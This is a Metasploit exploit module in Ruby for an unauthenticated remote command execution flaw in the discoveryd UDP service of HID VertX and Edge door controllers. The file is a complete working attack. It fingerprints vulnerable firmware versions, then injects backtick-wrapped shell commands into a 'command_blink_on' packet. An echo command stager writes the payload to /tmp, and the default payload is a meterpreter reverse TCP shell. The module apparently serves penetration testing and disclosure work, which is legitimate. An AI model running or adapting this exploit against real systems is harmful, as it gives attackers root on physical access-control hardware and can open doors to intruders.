## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'HID discoveryd command_blink_on Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote command execution vulnerability in the discoveryd service exposed by HID VertX and Edge door controllers. This module was tested successfully on a HID Edge model EH400 with firmware version 2.3.1.603 (Build 04/23/2012). }, 'Author' => [ 'Ricky "HeadlessZeke" Lawshae', # Discovery 'coldfusion39', # VertXploit 'Brendan Coles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Privileged' => true, 'References' => [ ['ZDI', '16-223'], ['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'], ['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'], ['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'], ['URL', 'https://github.com/lixmk/Concierge'], ['URL', 'https://github.com/coldfusion39/VertXploit'] ], 'DisclosureDate' => 'Mar 28 2016', 'DefaultOptions' => { 'WfsDelay' => 30, 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'echo' }, 'Targets' => [['Automatic', {}]], 'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long 'DefaultTarget' => 0)) register_options [ Opt::RPORT(4070) ] end def check connect_udp udp_sock.put 'discover;013;' res = udp_sock.get(5) disconnect_udp if res.to_s.eql? '' vprint_error 'Connection failed' return CheckCode::Unknown end hid_res = parse_discovered_response res if hid_res[:mac].eql? '' vprint_error 'Malformed response' return CheckCode::Safe end @mac = hid_res[:mac] vprint_good "#{rhost}:#{rport} - HID discoveryd service detected" vprint_line hid_res.to_s report_service( host: rhost, mac: hid_res[:mac], port: rport, proto: 'udp', name: 'hid-discoveryd', info: hid_res ) if hid_res[:version].to_s.eql? '' vprint_error "#{rhost}:#{rport} - Could not determine device version" return CheckCode::Detected end # Vulnerable version mappings from VertXploit vuln = false version = Gem::Version.new(hid_res[:version].to_s) case hid_res[:model] when 'E400' # EDGEPlus vuln = true if version <= Gem::Version.new('3.5.1.1483') when 'EH400' # EDGE EVO vuln = true if version <= Gem::Version.new('3.5.1.1483') when 'EHS400' # EDGE EVO Solo vuln = true if version <= Gem::Version.new('3.5.1.1483') when 'ES400' # EDGEPlus Solo vuln = true if version <= Gem::Version.new('3.5.1.1483') when 'V2-V1000' # VertX EVO vuln = true if version <= Gem::Version.new('3.5.1.1483') when 'V2-V2000' # VertX EVO vuln = true if version <= Gem::Version.new('3.5.1.1483') when 'V1000' # VertX Legacy vuln = true if version <= Gem::Version.new('2.2.7.568') when 'V2000' # VertX Legacy vuln = true if version <= Gem::Version.new('2.2.7.568') else vprint_error "#{rhost}:#{rport} - Device model was not recognized" return CheckCode::Detected end vuln ? CheckCode::Appears : CheckCode::Safe end def send_command(cmd) connect_udp # double escaping for echo -ne stager encoded_cmd = cmd.gsub("\\", "\\\\\\") # packet length (max 44) len = '044' # of times to blink LED, if the device has a LED; else # second to beep (very loudly) if the device does not have a LED num = -1 # no beep/blink ;) # construct packet req = '' req << 'command_blink_on;' req << "#{len};" req << "#{@mac};" req << "#{num}`#{encoded_cmd}`;" # send packet udp_sock.put req res = udp_sock.get(5) disconnect_udp unless res.to_s.start_with? 'ack;' fail_with Failure::UnexpectedReply, 'Malformed response' end end def execute_command(cmd, opts) # the protocol uses ';' as a separator, # so we issue each system command separately. # we're using the echo command stager which hex encodes the payload, # so there's no risk of replacing any ';' characters in the payload data. cmd.split(';').each do |c| send_command c end end def exploit print_status "#{rhost}:#{rport} - Connecting to target" check_code = check unless check_code == CheckCode::Appears || check_code == CheckCode::Detected fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable" end # linemax is closer to 40, # however we need to account for additinal double escaping execute_cmdstager linemax: 30, :temp => '/tmp' end def parse_discovered_response(res) info = {} return unless res.start_with? 'discovered' hid_res = res.split(';') return unless hid_res.size == 9 return unless hid_res[0] == 'discovered' return unless hid_res[1].to_i == res.length { :mac => hid_res[2], :name => hid_res[3], :ip => hid_res[4], # ? => hid_res[5], # '1' :model => hid_res[6], :version => hid_res[7], :version_date => hid_res[8] } end end